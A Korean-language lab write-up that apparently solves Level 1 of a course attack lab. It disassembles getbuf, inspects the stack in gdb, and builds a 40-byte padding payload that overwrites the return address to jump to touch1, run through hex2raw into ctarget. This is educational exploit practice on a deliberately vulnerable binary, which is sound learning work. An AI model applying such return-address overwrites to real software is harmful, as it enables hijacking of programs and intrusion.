문제 설명 파일을 보면 위와 같이 코드가 나와있다. getbuf()
함수의 return 주소를 buffer overflow를 사용해 덮어씌워, getbuf()
를 호출한 test()
대신 touch1()
로 돌아가도록 만드는 것이 우리의 목표다. 먼저 코드를 disassemble해 어셈블리 코드를 살펴보자.
objdump -d ctarget > ctarget.s
ctarget.s
에서 getbuf
부분을 살펴보면 다음과 같다.
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90
주소값은 사람마다 다를 수 있으니 신경쓸 필요 없다. 0x4017b9
를 보면 getbuf()
가 함수 자체의 동작을 완료하고 return하려고 stack frame을 0x28(=40) 만큼 증가시키는 것을 볼 수 있다. gdb로 저 시점에 breakpoint를 걸어주고, 아무 string이나 입력한 후 breakpoint까지 가보자. 우선 abcdef를 입력해본다.
getbuf()
의 첫줄에서 할당한 스택의 40바이트짜리 공간에 Gets()
함수가 입력을 받아왔을 것이다. stack frame을 띄워보자.
우리가 입력한 문자열 abcdef
에 해당하는 아스키코드 616263646566
이 스택의 맨 위에 위치하고 있는 것을 볼 수 있다. 순서가 거꾸로 된 것은 시스템이 little endian임을 고려하여 gdb가 거꾸로 출력해놓은 것 뿐이다. 0x5561dca0
의 0x00401971
은 test()
함수로 돌아가기 위한 return address이다. 이를 touch1()
의 주소로 바꿔놓아야 한다. 입력이 40바이트를 초과해 %rsp+40
에서 %rsp+48
에 해당하는 부분을 건드려야 하는 것이다. 다음과 같은 아스키 코드를 가지도록 입력을 시도해보자.
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00
여기서 00은 임의로 정한 문자이고, 길이만 같다면 대신 아무 문자나 들어가도 된다. littel endian 형식에 맞추기 위해 주소가 거꾸로 입력된 것에 유의하자. 정답을 ans.txt
에 입력하고, 터미널에 다음을 입력한다.
cat ans.txt | ./hex2raw | ./ctarget
Level 1이 해결되었다.